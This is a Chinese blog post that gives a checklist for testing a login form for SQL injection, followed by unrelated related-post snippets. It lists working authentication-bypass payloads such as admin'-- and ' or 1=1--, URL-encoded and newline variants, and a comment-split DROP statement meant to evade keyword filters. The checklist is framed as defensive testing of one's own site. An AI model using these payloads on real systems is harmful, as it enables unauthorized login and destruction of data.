sql百态01-post

第一个输入字段我喜欢测试“搜索引擎”和“登录表单”的一个网站,最下面的例子是测试一个“登录表单”。你应该旨在抑制任何错误消息和服务器响应在生产环境中,把开发人员调试。我们将假定接收脚本有一个最严重的SQL语句:

  1   SELECT *
  2   FROM users
  3   WHERE username=‘<submitted_username>‘
  4   AND password=‘<submitted_password>‘ 

1.Random SQL(随机的SQL):一些随机的SQL类型的输入值,看看服务器返回一个消息

1   Username:     SELECT Username FROM Users WHERE ID=1
2   Password:     SELECT MD5(Password) FROM Users WHERE ID=1 

 -- evaluates to:
SELECT * FROM users WHERE username=‘SELECT Username FROM Users WHERE ID=1‘ AND password=‘SELECT MD5(Password) FROM Users WHERE ID=1‘ 

Result should be "invalid username/password". Suppress any other messages

2.wildcards(通配符):输入一个(*)作为输入值进而观察结

1    Username:     *
2    Password:     <Leave Blank> 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘*‘ AND password=‘‘ 

Result should be "invalid username/password"

3.comments-dashdash   输入一个一个已知的用户名(如:admin)作为输入,以及后缀注释命令(如:--)

1    Username:     admin‘--
2    Password:     <Leave Blank> 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘--‘ AND password=‘‘ 

Result should be "invalid username/password".

4.comments-hash     输入一个一个已知的用户名(如:admin)作为输入,以及后缀注释命令(如:#)

1  Username:     admin‘#
2   Password:     <Leave Blank> 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘#‘ AND password=‘‘ 

Result should be "invalid username/password"

5.Comments - bypassing pattern matches (绕过模式的匹配) 测试目标主机系统正在寻找诸如DROP关键字或避免的黑名单

1  Username:     ‘;DR/**/OP tempTable;
2  Password:     <Leave Blank> 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘‘;DROP tempTable;‘ AND password=‘‘ 

5.The Classic  输入以下命令“ ‘OR 1=1--”作为输入值,用知道存在的用户名替代“admin”

1  Username:     admin
2  Password:     ‘ or 1=1-- 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ OR 1=1--‘ 

Quick variations of this:  #这主要要看返回的什么错误,然后在具体应用
admin‘ --
 admin‘ #
 admin‘/*
 ‘ or 1=1--
 ‘ or 1=1#
 ‘ or 1=1/*
 ‘) or ‘1‘=‘1--
 ‘) or (‘1‘=‘1--      

7.Variations of the Classic: Comments  根据具体的系统,尝试输入注释语法,用知道存在的用户名替代“admin”

1  Username:     admin
2  Password:     ‘ or 1=1 --IamJOE 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ OR 1=1 --IamJOE‘

8.Variations of the Classic: Empty 输入如:‘ or ‘ ‘=‘,用知道存在的用户名替换“admin”

1  Username:     admin
2  Password:      ‘ or ‘‘=‘ 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘ ‘ OR ‘‘=‘‘ 

9.Variations of the Classic: NewLines(换行符) 某些脚本无法解析一个换行符,它是另一个查询或脚本修整提交的最后一行,用存在知道的用户名替“admin”

1  Username:     admin
2  Password:     ‘
               OR 1=1-- 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘
               OR 1=1--‘ 

**New lines in SQL should be understood as \r\n.

10.Variations of the Classic: URL Encoded  尽管可以躲避掉转义‘,这里最有可能通过一个系统得到攻击。事实,所有在此页面上的攻击,可以将网址编码。键入以下内容:%27%20or%20%27%27%3D%27的输入值。

1  Username:     admin
2  Password:     %27%20or%20%27%27%3D%27 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ OR ‘‘=‘

11.Guest Password 如果知道一个有效的username/password,check that your scripts do not validate on password alone.(空密码)

1  Username:     Guest
2  Password:     <Password you know exists in system> 

 -- evaluates to:
 SELECT * FROM users WHERE username=‘Guest‘ AND password=‘<known_password>‘
时间: 2024-08-07 16:54:17

sql百态01-post的相关文章

day09(sql基础01)

SQL语言的分类 SQL语言共分为四大类:数据查询语言DQL,数据操纵语言DML, 数据定义语言DDL,数据控制语言DCL. 1:数据查询语言DQL Q = Query 数据查询语言DQL用于检索数据库 基本结构是由SELECT子句,FROM子句,WHERE子句组成的查询块: SELECT <字段名表> FROM <表或视图名> WHERE <查询条件> 2:数据操纵语言DML M = Manipulation 数据操纵语言DML用于改变数据库数据 主要有三种形式: 1

Oracle 11g SQL fundamentals 01 -- 字符串操作函数

concat('Hello','World')     拼接             HelloWorld substr('HelloWorld',1,5)  截取 Hello length('HelloWorld')         字符串长度 10 instr('HelloWorld','w')   w字符第一次出现的位置 6 lpad(1200,6,'*')   如果1200补足6位,在1200的左边补‘*’ **1200 rpad(1200,6,'*')   如果1200补足6位,在12

Apache Spark 2.2.0 中文文档 - Spark SQL, DataFrames and Datasets Guide | ApacheCN

Spark SQL, DataFrames and Datasets Guide Overview SQL Datasets and DataFrames 开始入门 起始点: SparkSession 创建 DataFrames 无类型的Dataset操作 (aka DataFrame 操作) Running SQL Queries Programmatically 全局临时视图 创建Datasets RDD的互操作性 使用反射推断Schema 以编程的方式指定Schema Aggregatio

SQL系列教程

1.SQL教程01--linux下安装SQLite3 2.SQL教程02--SQL基本语句 3.SQL教程03--SQL标准数据类型 4.SQL教程04--alter:在已有的表中添加.修改或删除列 5.SQL教程05--insert.select.where 6.SQL教程06--运算符and和or 7.SQL教程07--order by对结果集进行排序 8.SQL教程08--update.delete 9.SQL教程09--like.通配符 10.SQL教程10--in.between.al

pl/sql学习1——标量变量psahnh6S

为类型.不能用于表列的数据类型.范围为的子类型.自然数.为的子类型.具有约束为单精度浮点数.为变量赋值时.后面要加为双精度浮点数.为变量赋值时.后面要加.为数字总位数.为小数位数是的子类型.最大精度位是的子类型.最大精度位单精度浮点型是的子类型.最大精度位双精度浮点型定义精度为位的实数..定义为位的整数.变长字符串.最长测试变量数据!.定长字符串.最长测试变长二进制字符串物理存储的为类型...固定长度.个字节使用定义数据类型那个最小值:最大值:最小值:最大值:最小值:最大值:最小值:最大值:最小

探索Oracle之数据库升级二 11.2.0.3升级到11.2.0.4完整步骤

探索Oracle之数据库升级二  11.2.0.3升级到11.2.0.4完整步骤 说明:         这篇文章主要是记录下单实例环境下Oracle 11.2.0.1升级到11.2.0.3的过程,当然RAC的升级是会有所不同.但是他们每个版本之间升级步骤都是差不多的,先升级Database Software,再升级Oracle Instance. Oracle 11.2.0.4的Patchset No:19852360下载需要有Oracle Support才可以.  Patchset包含有7个

Oracle行转列和列转行

一.行转列1.1.初始测试数据 表结构:TEST_TB_GRADE Sql代码: 1    create table TEST_TB_GRADE2    (3      ID        NUMBER(10) not null,4      USER_NAME VARCHAR2(20 CHAR),5      COURSE    VARCHAR2(20 CHAR),6      SCORE     FLOAT7    ) 初始数据如下图: 1.2. 如果需要实现如下的查询效果图: 这就是最常见

Mybatis分页插件2.0版本发布

项目地址:http://git.oschina.net/free/Mybatis_PageHelper 分页插件示例: http://blog.csdn.net/isea533/article/details/24700339 v2.0更新内容: 支持Mybatis缓存,count和分页同时支持(二者同步) 修改拦截器签名,拦截Executor,签名如下: @Intercepts(@Signature(type = Executor.class, method = "query", a

20170621_oracle练习

启动Oracle: 启动OracleOraDb11g_home1TNSListener lsnrctl start 启动OracleServiceORCL net start OracleServiceORCL 关闭 lsnrctl stop和net stop OracleServiceORCL Spool 目录 (把sql语句都记录在txt文件中) spool e:\xxx.txt Spool off 结束 SQL> --清除屏幕信息 SQL> clear screen SQL> --